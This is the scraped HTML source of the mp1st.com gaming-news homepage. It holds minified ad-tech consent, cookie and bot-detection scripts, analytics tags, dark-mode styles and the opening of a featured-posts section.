0)}init(e,t){this._gdpr=e.gdpr===`true`,this._shouldQueue=this._gdpr,this._gdpr&&t&&(t.consentResponseCaptured.on(()=>{this._refreshStorageConsent(`consentResponseCaptured`)}),t.consentChanged.on(()=>{this._refreshStorageConsent(`consentChanged`)}))}_isGdprFromGlobal(){if(typeof window>`u`||!window.adthrive)return!1;let e=window.adthrive;return`gdprEnabled`in e?!!e.gdprEnabled:e.gdpr===`true`}_shouldQueueWrite(){return this._gdpr===void 0?this._isGdprFromGlobal():this._gdpr&&this._shouldQueue}isInGdprQueueMode(){return this._shouldQueueWrite()}_refreshStorageConsent(e){this._storageConsentBeforeLatestUpdate=this._storageConsentGranted,this._storageConsentUpdateInFlight+=1,this._updateStorageConsent().catch(e=>{}).then(()=>{this._storageConsentUpdateInFlight=Math.max(0,this._storageConsentUpdateInFlight-1)})}async _updateStorageConsent(){var e;let t=await H();!(t==null||(e=t.purpose)==null)&&e.consents&&(this._storageConsentGranted=t.purpose.consents[1]===!0)}_getStorageWriteAvailability(e,t){try{let n=window[e];n.setItem(t,`1`);let r=n.getItem(t);return n.removeItem(t),r===`1`?{available:!0}:{available:!1,error:Error(`${e} write probe value mismatch`)}}catch(e){return{available:!1,error:e}}}getStorageApiAvailability(){return{localStorage:this._getStorageWriteAvailability(`localStorage`,`__adthrive_localstorage_test__`).available,sessionStorage:this._getStorageWriteAvailability(`sessionStorage`,`__adthrive_sessionstorage_test__`).available}}clearQueue(e,t){t!==void 0&&(this._storageConsentGranted=t);let n=this._gdpr&&this._hasStorageConsent()===!1,r=e&&n&&this.disable===!1&&this._storageConsentUpdateInFlight>0&&this._storageConsentBeforeLatestUpdate===!1;r&&(this._storageConsentGranted=!0),e&&(!n||r)&&(this._shouldQueue=!1,this._sessionStorageHandlerQueue.forEach(e=>{this.setSessionStorage(e.key,e.value)}),this._localStorageHandlerQueue.forEach(e=>{if(e.key===`adthrive_abgroup`){let t=Object.keys(e.value)[0],n=e.value[t],r=e.value[`${t}_weight`];this.getOrSetABGroupLocalStorageValue(t,n,r,{value:24,unit:`hours`})}else e.expiry?e.type===`internal`?this.setExpirableInternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):this.setExpirableExternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):e.type===`internal`?this.setInternalLocalStorage(e.key,e.value):this.setExternalLocalStorage(e.key,e.value)}
326),this._cookieHandlerQueue.forEach(e=>{e.type===`internal`?this.setInternalCookie(e.key,e.value):this.setExternalCookie(e.key,e.value)})),this._sessionStorageHandlerQueue=[],this._localStorageHandlerQueue=[],this._cookieHandlerQueue=[]}readInternalCookie(e){return this._verifyInternalKey(e),this._readCookie(e)}readExternalCookie(e){return this._readCookie(e)}readExternalCookieList(e){return this._readCookieList(e)}getAllCookies(){return this._getCookies()}readInternalLocalStorage(e){return this._verifyInternalKey(e),this._readFromLocalStorage(e)}readExternalLocalStorage(e){return this._readFromLocalStorage(e)}readSessionStorage(e){let t=window.sessionStorage.getItem(e);if(!t)return null;try{return JSON.parse(t)}catch{return t}}getLocalStorageWriteAvailability(){return this._getStorageWriteAvailability(`localStorage`,`__adthrive_local_storage_probe__`)}deleteCookie(e){if(!this.disable){if(this._shouldQueueWrite()){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);return}document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}}purgeCookie(e){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);try{document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}catch{}}deleteLocalStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);return}window.localStorage.removeItem(e)}}purgeLocalStorage(e){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);try{window.localStorage.removeItem(e)}catch{}}deleteSessionStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);return}window.sessionStorage.removeItem(e)}}purgeSessionStorage(e){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);try{window.sessionStorage.removeItem(e)}catch{}}_hasStorageConsent(){if(this._storageConsentGranted!==void 0)return this._storageConsentGranted}setInternalCookie(e,t,n){this.disable||(this._verifyInternalKey(e),this._setCookieValue(`internal`,e,t,n))}setExternalCookie(e,t,n){this.disable||this._setCookieValue(`external`,e,t,n)}setInternalLocalStorage(e,t){if(!this.disable)if(this._verifyInternalKey(e),this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExternalLocalStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t,type:`external`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExpirableInternalLocalStorage(e,t,n){if(!this.disable){this._verifyInternalKey(e);try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}}setExpirableExternalLocalStorage(e,t,n){if(!this.disable)try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:JSON.stringify(t),type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}setSessionStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t};this._sessionStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.sessionStorage.setItem(e,n)}}getOrSetABGroupLocalStorageValue(e,t,n,r,i=!0){let a=`adthrive_abgroup`;if(this._shouldQueueWrite()){let o={[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,o,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,o),[t,n]}let o=this.readInternalLocalStorage(a);if(o!==null){let t=o[e],n=o[`${e}_weight`]??null;if(this._isValidABGroupLocalStorageValue(t))return[t,n]}let s={...o,[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,s,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,s),[t,n]}_isValidABGroupLocalStorageValue(e){return e!=null&&!(typeof e==`number`&&isNaN(e))}_getExpiryDate({value:e,unit:t}){let n=new Date;return t===`milliseconds`?n.setTime(n.getTime()+e):t==`seconds`?n.setTime(n.getTime()+e*1e3):t===`minutes`?n.setTime(n.getTime()+e*60*1e3):t===`hours`?n.setTime(n.getTime()+e*60*60*1e3):t===`days`?n.setTime(n.getTime()+e*24*60*60*1e3):t===`months`&&n.setTime(n.getTime()+e*30*24*60*60*1e3),n.toUTCString()}_resetExpiry(e){return e.expires=this._getExpiryDate(e.expiry),e}_readCookie(e){let t=document.cookie.split(`; `).find(t=>t.split(`=`)[0]===e);if(!t)return null;let n=t.split(`=`)[1];if(n)try{return JSON.parse(decodeURIComponent(n))}catch{return decodeURIComponent(n)}return null}_readCookieList(e){let t;for(let n of document.cookie.split(`;`)){let[r,...i]=n.split(`=`);r.trim()===e&&(t=i.join(`=`).trim())}return t&&JSON.parse(t)||[]}_getCookies(){let e=[];return document.cookie.split(`;`).forEach(t=>{let[n,r]=t.split(`=`).map(e=>e.trim());e.push({name:n,value:r})}),e}_readFromLocalStorage(e){let t=window.localStorage.getItem(e);if(!t)return null;try{let n=JSON.parse(t),r=n.expires&&new Date().getTime()>=new Date(n.expires).getTime();if(e===`adthrive_abgroup`&&n.created)return window.localStorage.removeItem(e),null;if(n.resetOnRead&&n.expires&&!r){let t=this._resetExpiry(n);return window.localStorage.setItem(e,JSON.stringify(n)),t.value??t}else if(r)return window.localStorage.removeItem(e),null;if(Object.prototype.hasOwnProperty.call(n,`value`))try{return JSON.parse(n.value)}catch{return n.value}else return n}catch{return t}}_setCookieValue(e,t,n,r){try{if(this._shouldQueueWrite()){let r={key:t,value:n,type:e};this._cookieHandlerQueue.push(r)}else{let e=this._getExpiryDate((r==null?void 0:r.expiry)??{value:400,unit:`days`}),i=(r==null?void 0:r.sameSite)??`None`,a=(r==null?void 0:r.secure)??!0,o=typeof n==`object`?JSON.stringify(n):n;document.cookie=`${t}=${o}
326; SameSite=${i}; ${a?`Secure;`:``} expires=${e}; path=/`}}catch{}}_verifyInternalKey(e){let t=e.startsWith(`adthrive_`),n=e.startsWith(`adt_`);if(!t&&!n&&!U.includes(e))throw Error(`When reading an internal cookie, the key must start with "adthrive_" or "adt_" or be part of the allowed legacy keys.`)}},G=(e,t)=>{let n=document.getElementsByTagName(`script`)[0];n&&n.parentNode&&!t?n.parentNode.insertBefore(e,n):document.body.appendChild(e)},K=(e,t=!1,n=!1,r=!1,i=null)=>new Promise((a,o)=>{let s=document.createElement(`script`);s.type=`text/javascript`,s.src=e,s.defer=n,s.async=r,i&&Object.keys(i).forEach(e=>{s.setAttribute(`data-${e}`,i[e])}),s.addEventListener(`error`,()=>o(Error(`Failed to import script ${e}`))),s.addEventListener(`load`,()=>a(s)),G(s,t)}),q=()=>({width:Math.max(document.documentElement.clientWidth||0,window.innerWidth||0),height:Math.max(document.documentElement.clientHeight||0,window.innerHeight||0)}),J=(e=window.navigator.userAgent)=>(e??``).toLowerCase().includes(`raptivesiteinspector`),Y=`^Mozilla/5\\.0$,A6-Indexer,addthis,admantx,agentslug,alexa,anderspink,apache-httpclient,apachebench,apis-google,apis,appengine-google,ask jeeves,asynchttpclient,awe\\.sm,baidu,barkrowler,biglotron,bingpreview,bot,brandverify,bubing,butterfly,buzztalk,cf-uc,chatgpt,check_http,cloudflare,cmradar/0\\.1,coldfusion,comodo ssl checker,convera,copypants,crawler,crowsnest,curl,dap/nethttp,daumoa,deepseek,deepseekbot,developers\\.google\\.com/+/web/snippet/,digitalpersona fingerprint software,drupact,duckduck,elb-healthchecker,embedly,eoaagent,europarchive,eventmachine httpclient,evrinid,exaleadcloudview,ez publish,ezooms,facebookexternalhit,feedburner,feedfetcher-google,findlink,findthatfile,flipboardproxy,garlik,genieo,getprismatic\\.com,ghost,gigablast,go http package,google( page speed insights| web preview|google-site-verification|-structured-data-testing-tool|-structureddatatestingtool),googleweblight,gpt,gptbot,hatena,headless,heritrix,htmlparser,http(_request2|client|s|unit),httrack,hubspot,ia_archiver,ichiro,icoreservice,idmarch,in(agist|sieve|stapaper),insights,ips-agent,jack,jakarta commons,java,jetslide,jobseeker,js-kit,kimengi,knows\\.is,kraken,laconica,libwww,lighthouse,linode,lipperhey,longurl,ltx71,lwp-trivial,mappydata,mastodon,mediapartners-google,megaindex\\.ru,metauri,mfe_expand,mixnode,mon(tastic|tools),monitor,moreover,mrchrome,nberta,net(craft|researchserver|state|vibes),newrelicpinger,newsme,newspaper,nightmare,ning,nmap,nutch,online-domain-tools,openai,paessler,page(peek|sinventory|thing),panopta,peerindex,phantomjs,pingdom,plukkie,proximic,pu_in,publiclibraryarchive\\.org,python-(httplib2|requests|urllib),python,quanti,queryseeker,quicklook,qwanti,re-animator,readability,rebelmouse,relateiq,riddler,rssmicro,ruby,scraper,scrapy,seo-audit,seodiver,seokicks,shopwiki,shortlinktranslate,siege,sincera,sistrix,site24x7,siteexplorer,skypeuripreview,slack,slurp,socialrank,sogou,spider,spinn3r,squider,statuscake,stripe,summify,teeraid,teoma,test certificate info,tineye,traackr,ttd-content,tweetedtimes,twikle,twitjobsearch,twitmunin,twurly,typhoeus,unwindfetch,uptim(e|ia),uptm\\.io,vagabondo,vb project,vigil,Viv/2,vkshare,wappalyzer,watchsumo,webceo,webdatascout,webmon,webscout,wesee,wget,whatsapp,whatweb,wikido,wordpress,wormly,wotbox,xenu link sleuth,xing-contenttabreceiver,yandex,yanga,yeti,yff35,yourls,zelist\\.ro,zibb`.split(`,`),X=m((e=Y)=>{let t=window.navigator.userAgent.toLowerCase();return J(t)?!1:new RegExp(e.join(`|`),`i`).test(t)});var Z=class{constructor(){a(this,`runTests`,()=>{let e=!1;return window&&document&&(e=[`webdriver`in window,`_Selenium_IDE_Recorder`in window,`callSelenium`in window,`_selenium`in window,`__webdriver_script_fn`in document,`__driver_evaluate`in document,`__webdriver_evaluate`in document,`__selenium_evaluate`in document,`__fxdriver_evaluate`in document,`__driver_unwrapped`in document,`__webdriver_unwrapped`in document,`__selenium_unwrapped`in document,`__fxdriver_unwrapped`in document,`__webdriver_script_func`in document,document.documentElement.getAttribute(`selenium`)!==null,document.documentElement.getAttribute(`webdriver`)!==null,document.documentElement.getAttribute(`driver`)!==null].some(e=>e)),e})}isSelenium(){return this.runTests()}};let Q=()=>
326{if(navigator&&navigator.userAgent&&X())return`uav`},te=()=>{let e=q();if(e.width>5e3||e.height>5e3)return`vpv`},ne=()=>{if(new Z().isSelenium())return`selenium`},re=()=>{if(J())return;let e=[te(),Q(),ne()].filter(e=>!!e);return e.length?e:void 0},ie=e=>(e==null?void 0:e[2])===`Y`,$=()=>ie(W.readExternalCookie(`usprivacy`));re()||$()||(()=>{try{var e,t,n,r,i,a,o,s,c,l,u;let d=(e=window.adthriveCLS)==null?void 0:e.siteAds,f=d==null?void 0:d.adOptions;if((f==null||(t=f.usCmpClickWrap)==null?void 0:t.enabled)===!0)return!0;let p=window.adthrive,m=p==null||(n=p.siteAds)==null?void 0:n.adOptions,h=m==null?void 0:m.usCMP,g=!(p==null||(r=p.siteAds)==null||(r=r.siteAdsProfiles)==null)&&r.length?p.siteAds:d,_=g?w(g):null,v=p==null||(i=p.core)==null?void 0:i.region,y=(m==null||(a=m.californiaPrivacyPopup)==null?void 0:a.enabled)===!0&&v===`CA`,b=(m==null||(o=m.thirdPartyCmp)==null?void 0:o.enabled)===!0||(p==null||(s=p.deliveryFeatures)==null?void 0:s.some(e=>e.startsWith(`pubProvidedCmp-`))),x=(_==null||(c=_.adOptions)==null||(c=c.usCMP)==null?void 0:c.clickWrapMode)===!0||(_==null||(l=_.experiment)==null?void 0:l.experimentChoices.some(e=>{var t;return((t=e.adOptions)==null||(t=t.usCMP)==null?void 0:t.clickWrapMode)===!0}))===!0;return x&&(!h||!v)?!0:((f==null||(u=f.usCMP)==null?void 0:u.clickWrapMode)===!0||(h==null?void 0:h.clickWrapMode)===!0||x||ee.isRolloutEnabled(`us-cmp-click-wrap-mode`))&&(h==null?void 0:h.enabled)===!0&&!!(v&&h.regions.includes(v))&&h.strictMode!==!0&&!y&&!b}catch{return!1}})()||(()=>{let e=`unknown`;return typeof Intl<`u`&&typeof Intl.DateTimeFormat==`function`&&typeof Intl.DateTimeFormat().resolvedOptions==`function`&&(e=Intl.DateTimeFormat().resolvedOptions().timeZone||`unknown`),e.startsWith(`America/`)})()&&(()=>{let e=`6035453`,t=$()?`0`:`1`,n={c1:`2`,c2:e,cs_fpid:W.readExternalCookie(`_pubcid`)||W.readExternalLocalStorage(`_pubcid`),cs_fpit:`o`,cs_fpdm:`*null`,cs_fpdt:`*null`,options:{enableFirstPartyCookie:!0},cs_ucfr:t||`0`};window._comscore=window._comscore||[],window._comscore.push(n),K(`https://sb.scorecardresearch.com/cs/${e}/beacon.js`).catch(e=>{p.error(`ComscoreTrackerComponent`,`init`,`Error during Comscore beacon.js import: `,e)})})()})();</script>
326<script data-no-optimize='1' data-cfasync='false' id='cls-disable-ads-86c50ec'>var cls_disable_ads=(function(e){window.adthriveCLS.buildDate=`2026-09-30`,Object.defineProperty(e,Symbol.toStringTag,{value:`Module`});let t=new class{info(e,t,...n){this.call(console.info,e,t,...n)}warn(e,t,...n){this.call(console.warn,e,t,...n)}error(e,t,...n){this.call(console.error,e,t,...n),this.sendErrorLogToCommandQueue(e,t,...n)}event(e,t,...n){var r;((r=window.adthriveCLS)==null?void 0:r.bucket)===`debug`&&this.info(e,t)}sendErrorLogToCommandQueue(e,t,...n){window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(()=>{window.adthrive.logError!==void 0&&typeof window.adthrive.logError==`function`&&window.adthrive.logError(e,t,n)})}call(e,t,n,...r){let i=[`%c${t}::${n} `],a=[`color: #999; font-weight: bold;`];r.length>0&&typeof r[0]==`string`&&i.push(r.shift()),a.push(...r);try{Function.prototype.apply.call(e,console,[i.join(``),...a])}catch(e){console.error(e);return}}},n=()=>window.adthriveCLS,r={Below_Post_1:`Below_Post_1`,Below_Post:`Below_Post`,Content:`Content`,Content_1:`Content_1`,Content_2:`Content_2`,Content_3:`Content_3`,Content_4:`Content_4`,Content_5:`Content_5`,Content_6:`Content_6`,Content_7:`Content_7`,Content_8:`Content_8`,Content_9:`Content_9`,Recipe:`Recipe`,Recipe_1:`Recipe_1`,Recipe_2:`Recipe_2`,Recipe_3:`Recipe_3`,Recipe_4:`Recipe_4`,Recipe_5:`Recipe_5`,Native_Recipe:`Native_Recipe`,Footer_1:`Footer_1`,Footer:`Footer`,Header_1:`Header_1`,Header_2:`Header_2`,Header:`Header`,Sidebar_1:`Sidebar_1`,Sidebar_2:`Sidebar_2`,Sidebar_3:`Sidebar_3`,Sidebar_4:`Sidebar_4`,Sidebar_5:`Sidebar_5`,Sidebar_9:`Sidebar_9`,Sidebar:`Sidebar`,Interstitial_1:`Interstitial_1`,Interstitial:`Interstitial`,Video_StickyOutstream_1:`Video_StickyOutstream_1`,Video_StickyOutstream:`Video_StickyOutstream`,Video_StickyInstream:`Video_StickyInstream`,Sponsor_Tile:`Sponsor_Tile`},i=e=>{let t=window.location.href;return e.some(e=>new RegExp(e,`i`).test(t))};function a(e){"@babel/helpers - typeof";return a=typeof Symbol==`function`&&typeof Symbol.iterator==`symbol`?function(e){return typeof e}:function(e){return e&&typeof Symbol==`function`&&e.constructor===Symbol&&e!==Symbol.prototype?`symbol`:typeof e},a(e)}function o(e,t){if(a(e)!=`object`||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t||`default`);if(a(r)!=`object`)return r;throw TypeError(`@@toPrimitive must return a primitive value.`)}return(t===`string`?String:Number)(e)}function s(e){var t=o(e,`string`);return a(t)==`symbol`?t:t+``}function c(e,t,n){return(t=s(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var l=class{constructor(e){this.adthrive=e,c(this,`all`,!1),c(this,`content`,!1),c(this,`recipe`,!1),c(this,`video`,!1),c(this,`locations`,new Set),c(this,`reasons`,new Set),(this.urlHasEmail(window.location.href)||this.urlHasEmail(window.document.referrer))&&(this.all=!0,this.reasons.add(`all_email`));try{this.checkCommandQueue()}catch(e){t.error(`ClsDisableAds`,`checkCommandQueue`,e)}}checkCommandQueue(){this.adthrive&&this.adthrive.cmd&&this.adthrive.cmd.forEach(e=>{let t=e.toString(),n=this.extractAPICall(t,`disableAds`);n&&this.disableAllAds(this.extractPatterns(n));let r=this.extractAPICall(t,`disableContentAds`);r&&this.disableContentAds(this.extractPatterns(r));let i=this.extractAPICall(t,`disablePlaylistPlayers`);i&&this.disablePlaylistPlayers(this.extractPatterns(i))})}extractPatterns(e){let t=e.match(/["'](.*?)['"]/g);if(t!==null)return t.map(e=>e.replace(/["']/g,``))}extractAPICall(e,t){let n=RegExp(t+`\\((.*?)\\)`,`g`),r=e.match(n);return r===null?!1:r[0]}disableAllAds(e){(!e||i(e))&&(this.all=!0,this.reasons.add(`all_page`))}disableContentAds(e){(!e||i(e))&&(this.content=!0,this.recipe=!0,this.locations.add(r.Content),this.locations.add(r.Recipe),this.reasons.add(`content_plugin`))}disablePlaylistPlayers(e){(!e||i(e))&&(this.video=!0,this.locations.add(`Video`),this.reasons.add(`video_page`))}urlHasEmail(e){return e?/([A-Z0-9._%+-]+(@|%(25)*40)[A-Z0-9.-]+\.[A-Z]{2,})/i.exec(e)!==null:!1}};let u=n();return u&&(u.disableAds=new l(window.adthrive)),e.ClsDisableAds=l,e})({});</script>
326
327	
327<script>
328		// Apply dark mode immediately if enabled
329		if (localStorage.getItem('darkMode') === 'enabled') {
330			document.documentElement.classList.add('dark-mode');
331			document.documentElement.setAttribute('data-theme', 'dark');
332		}
333	</script>
333
334	
335	<style>
336		/* Default Light Mode Styles */
337		body, html {
338			background-color: transparent;
339            color: #000000;
340        }
341
342        * {
343            color: inherit;
344            background-color: transparent;
345        }
346
347        /* Dark Mode Styles */
348        html[data-theme='dark'] {
349            background-color: #1a1a1a;
350            color: #f0f0f0;
351        }
352
353        html[data-theme='dark'] .frontpage-container,
354        html[data-theme='dark'] .single-container, 
355        html[data-theme='dark'] .kevinsingle-tags a,
356		html[data-theme='dark'] .custom-archive-author {
357            background-color: #1a1a1a;
358        }
359
360		html[data-theme='dark'] .kevinsingle-content {
361			color: #fff;
362		}
363        body.dark-mode a, 
364        body.dark-mode h1, 
365        body.dark-mode h2, 
366        body.dark-mode h3, 
367        body.dark-mode h4, 
368        body.dark-mode h5, 
369        body.dark-mode p, 
370        body.dark-mode span, 
371		body.dark-mode #ajiForm .jeg_readmore,
372        body.dark-mode .nav-links .page-numbers {
373            color: #fff;
374        }
375		
376		body.dark-mode .review-pros li,
377		body.dark-mode .review-cons li,
378		body.dark-mode .review-verdict-label,
379		body.dark-mode .review-score,
380		body.dark-mode .review-verdict-text,
381		body.dark-mode .related-post .related-header,
382		body.dark-mode .related-post .related-excerpt {
383			color: #fff;
384		}
385
386		body.dark-mode .review-box.three-column,
387		body.dark-mode .review-col,
388		body.dark-mode .review-center,
389		body.dark-mode .related-post {
390			background: #222;
391		}
392
393		body.dark-mode .related-post {
394			background-color: #222;
395		}
396		
397		body.dark-mode .kevincategory-navigation a {
398			color: #333;
399		}
400
401        body.dark-mode .popular-posts ul {
402            background-color: #212121;
403        }
404
405        body.dark-mode .main-nav.active, 
406        body.dark-mode .header-social.active {
407            background-color: black;
408        }
409
410        body.dark-mode .main-nav.active a {
411            color: #fff;
412        }
413
414        body.dark-mode .main-nav.active .close-menu {
415            color: #fff;
416        }
417
418        body.dark-mode .menu-toggle.active .menu-icon {
419            color: black;
420        }
421
422        body.dark-mode .header-social.active a {
423            color: #fff;
424        }
425
426		body.dark-mode #wpdcom .ql-editor > * ,
427		body.dark-mode #wpdcom .wpd-form-row .wpdiscuz-item input[type="text"],
428		body.dark-mode #wpdcom .wpd-form-row .wpdiscuz-item input[type="email"] {
429			color: #fff;
430		}
431
432		body.dark-mode #wpdcom .ql-editor,
433		body.dark-mode #wpdcom .ql-toolbar {
434			background: #222;
435		}
436
437		body.dark-mode #wpdcom.wpd-layout-3 .wpd-comment .wpd-comment-header {
438			background: transparent;
439		}
440		
441		body.dark-mode #wpdcom .wpdiscuz-sort-buttons,
442		body.dark-mode #wpdcom.wpd-layout-3 .wpd-comment .wpd-reply-to {
443			background-color: transparent;
444		}
445
446		body.dark-mode #wpdcom.wpd-layout-3 .wpd-comment .wpd-comment-footer .wpd-reply-button {
447			background-color: #222;
448		}
449		
450        #dark-mode-toggle {
451            background: none;
452            border: none;
453            cursor: pointer;
454            font-size: 1.5rem;
455            color: inherit;
456        }
457
458        #dark-mode-toggle:focus {
459            outline: none;
460        }
461		
462		
463		
464		
465    </style>
466	
467	
468    <!-- Global site tag (gtag.js) - Google Analytics -->
vendor: 68 bytes, lines 468-469
468
469    <script async src="https://www.googletagmanager.com/gtag/js?id=
469UA-25230359-1
vendor: 16 bytes, lines 469-470
469"></script>
470    
470<script>
471        
vendor: 152 bytes, lines 471-475
471window.dataLayer = window.dataLayer || [];
472        function gtag(){dataLayer.push(arguments);}
473        gtag('js', new Date());
474
475        gtag('config', '
475UA-25230359-1
vendor: 8 bytes, lines 475-476
475');
476    
476</script>
476
477
478    <!-- Google tag (gtag.js) -->
vendor: 68 bytes, lines 478-479
478
479    <script async src="https://www.googletagmanager.com/gtag/js?id=
479G-WL1MTK6D75
vendor: 16 bytes, lines 479-480
479"></script>
480    
480<script>
481        
vendor: 152 bytes, lines 481-485
481window.dataLayer = window.dataLayer || [];
482        function gtag(){dataLayer.push(arguments);}
483        gtag('js', new Date());
484
485        gtag('config', '
485G-WL1MTK6D75
vendor: 8 bytes, lines 485-486
485');
486    
486</script>
486
487	
488	<!-- Facebook Domain Verification -->
489	<meta name="facebook-domain-verification" content="oarhyegovm6x3z2z5a4w7vpp01npwc" />
490
491	
491<script>
492		window.sentinelData = window.sentinelData || [];
493		function sentinelTrack(){sentinelData.push(arguments)};
494		sentinelTrack('initTimestamp', Date.now());
495		window.addEventListener('DOMContentLoaded', () => {
496			sentinelTrack('footerTimestamp', Date.now());
497		});
498
499		sentinelSetup = {
500			accountName: 'alex',
501			propertyId: 'AE70EC',
502			dimensions: {
503
504			}
505		};
506
507		sentinelTrack('config', sentinelSetup);
508	</script>
508
509	
509<script async src="https://cdn.sentinelpro.com/alex/sp.js"></script>
509
510	
511	
512</head>
513<body data-rsssl=1 class="home wp-singular page-template-default page page-id-145721 wp-theme-mp1st2024theme">
514    <header id="header">
515        <div class="header-container">
516            <div class="site-logo">
517                <a href="https://mp1st.com">
518                    <img src="https://mp1st.com/wp-content/uploads/2024/12/header-mp1st-red1st.webp" alt="mp1stlogo">
519                </a>
520            </div>
521            <div class="menu-toggle">
522                <span class="menu-icon">&#9776;</span> <!-- Hamburger icon -->
523            </div>
524            <nav class="main-nav">
525                <button class="close-menu" id="close-menu">&times;</button> <!-- Close button for mobile -->
526                <ul id="menu-main" class="header-menu"><li id="menu-item-129683" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-129683"><a href="https://mp1st.com/news">News</a></li>
527<li id="menu-item-129684" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-129684"><a href="https://mp1st.com/features">Features</a></li>
528<li id="menu-item-129685" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-129685"><a href="https://mp1st.com/reviews">Reviews</a></li>
529<li id="menu-item-129686" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-129686"><a href="/guides">Guides</a></li>
530<li id="menu-item-129687" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-129687"><a href="https://mp1st.com/videos">Videos</a></li>
531</ul>            </nav>
532			<div class="header-social">
533				<a href="https://www.facebook.com/MP1st" target="_blank"><i class="fab fa-facebook-f mp1st-footer-follow-us-icons"></i></a>
534				<a href="https://www.twitter.com/MPFirst" target="_blank"><i class="fab fa-twitter mr-3 mp1st-footer-follow-us-icons"></i></a>
535				<a href="https://www.youtube.com/user/MP1stTV" target="_blank"><i class="fab fa-youtube mp1st-footer-follow-us-icons"></i></a>
536				<a href="https://opencritic.com/outlet/826/multiplayer-first" target="_blank"><img src="https://mp1st.com/wp-content/uploads/2024/02/opencritic-logo.png" alt="OpenCritic" class="opencriticimg"></i></a>
537				<button id="dark-mode-toggle">
538					<span id="dark-mode-icon">🌙</span>
539				</button>
540			</div>
541
542
543        </div>
544    </header>
545
546<div class="frontpage-container">
547
548    <div class="featured-posts-container"><div class="featured-post-large"><a href='https://mp1st.com/news/new-uncharted-game-development-naughty-dog-headed-lost-legacy-director'><img width="600" height="338" src="https://mp1st.com/wp-content/uploads/2026/09/UNCHARTED4.01_1920-x-1080-600x338.png" class="attachment-large size-large wp-post-image" alt="New Uncharted" decoding="async" fetchpriority="high" srcset="https://mp1st.com/wp-content/uploads/2026/09/UNCHARTED4.01_1920-x-1080-600x338.png 600w, https://mp1st.com/wp-content/uploads/2026/09/UNCHARTED4.01_1920-x-1080-300x169.png 300w, https://mp1st.com/wp-content/uploads/2026/09/UNCHARTED4.01_1920-x-1080-768x432.png 768w, https://mp1st.com/wp-content/uploads/2026/09/UNCHARTED4.01_1920-x-1080-1536x864.png 1536w, https://mp1st.com/wp-content/uploads/2026/09/UNCHARTED4.01_1920-x-1080.png 1920w" sizes="(max-width: 600px) 100vw, 600px" /></a><div class='featured-post-text'><a href='https://mp1st.com/news/new-uncharted-game-development-naughty-dog-headed-lost-legacy-director'>Report: New Uncharted Game in Development at Naughty Dog; Headed by Lost Legacy Director</a></div></div><div class="featured-post-grid"><div class="featured-post-small"><a href='https://mp1st.com/features/halo-under-activisions-banner-might-just-what-franchise-needs'><img width="300" height="169" src="https://mp1st.com/wp-content/uploads/2026/09/halo-activision-300x169.jpg" class="attachment-medium size-medium wp-post-image" alt="" decoding="async" srcset="https://mp1st.com/wp-content/uploads/2026/09/halo-activision-300x169.jpg 300w, https://mp1st.com/wp-content/uploads/2026/09/halo-activision-600x338.jpg 600w, https://mp1st.com/wp-content/uploads/2026/09/halo-activision-768x432.jpg 768w, https://mp1st.com/wp-content/uploads/2026/09/halo-activision-1536x864.jpg 1536w, https://mp1st.com/wp-content/uploads/2026/09/halo-activision.jpg 1920w" sizes="(max-width: 300px) 100v
